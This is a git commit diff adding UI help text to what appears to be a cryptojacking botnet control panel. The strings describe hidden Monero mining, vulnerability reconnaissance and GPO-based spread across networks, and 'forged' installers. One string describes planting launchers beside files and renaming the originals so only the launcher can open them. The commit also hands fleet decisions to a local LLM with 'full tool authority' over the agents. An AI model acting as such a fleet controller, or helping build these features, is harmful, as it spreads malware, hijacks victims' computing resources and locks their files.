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Add Calibrate AI Control UI and fleet LLM backend wiring.
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Operators toggle Logic gates vs AI Control on Settings, refresh local Ollama models, and save ai_endpoint settings via Calibrate PUT; server scheduler and agent snapshot/command paths support stateless 60s fleet decisions.
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AetherForge
2026-06-07 02:14:28 -07:00
parent 34afa28f81
commit 0002e5fd93
33 changed files with 2791 additions and 12 deletions
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12
server/web/src/help/settingHelp.ts
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@@ -29,9 +29,19 @@ export const FIELD_HELP: Record<string, string> = {
forge_lotl_onion:
'LOTL Onion preset: in-process RandomX (same XMR wallet field), no GPU exe drop, ordered vuln recon→GPO spread contingencies. When lotl_policy_from_server is on, tier order is pulled from Calibrate server config on agent auth — re-forge not required to reorder tiers.',
adaptive_strategy:
'Fleet adaptive strategy learns LOTL mining tier order from your own machines (OS, Docker/WSL probes, subnet, hashrate outcomes). On connect the server pushes a personalized tier walk with strategy_reasoning bullets before the agent tries the default onion. Overrides order/skip hints only — not wallet or patch_first gates. Toggle with server.adaptive_strategy_enabled (default on).',
'Fleet adaptive strategy learns LOTL mining tier order from your own machines (OS, Docker/WSL probes, subnet, hashrate outcomes). On connect the server pushes a personalized tier walk with strategy_reasoning bullets before the agent tries the default onion. Overrides order/skip hints only — not wallet or patch_first gates. Toggle with server.adaptive_strategy_enabled (default on). When server.ai_control_enabled is on, Fleet AI Control replaces adaptive strategy for tier decisions.',
lotl_onion_tiers:
'Ordered spread contingency chain for LOTL Onion forges with lotl_policy_from_server. Mining tier order is separate (mining_tier_policy / adaptive_strategy). Spread tiers apply on reconnect without re-forge; adaptive strategy can reorder mining tiers proactively from fleet stats.',
calibration_ai_control:
'Calibrate control mode: Logic gates use weighted adaptive strategy + server lotl_onion_tiers. AI Control routes fleet decisions through a local LLM on this control PC every 60s per agent — stateless, no memory, full tool authority on your machines only.',
ai_local_endpoint:
'Local OpenAI-compatible or Ollama API base URL on the control server machine (default http://127.0.0.1:11434/v1). The hub lists models and calls the LLM — workers never talk to Ollama directly.',
calibration_ai_model:
'LLM model name for fleet AI Control (Calibrate). Click Refresh models after Ollama is running, then pick from the dropdown. Distinct from per-forge ai_model baked into installers.',
ai_no_context:
'Stateless AI mode — each 60s cycle sends only the current agent snapshot. No chat history or cross-agent memory is retained (always on for fleet safety).',
ai_interval_sec:
'Seconds between AI decision cycles per connected agent when AI Control is enabled. Default 60 — matches agent heartbeat cadence.',
forge_path_forge:
'Server-side recursive batch seed: enter a folder path and the server walks it, placing a launcher next to every matching file without uploading anything. Lock Original renames the source so only the companion launcher can open it — it re-locks after playback.',
forge_recommended_defaults: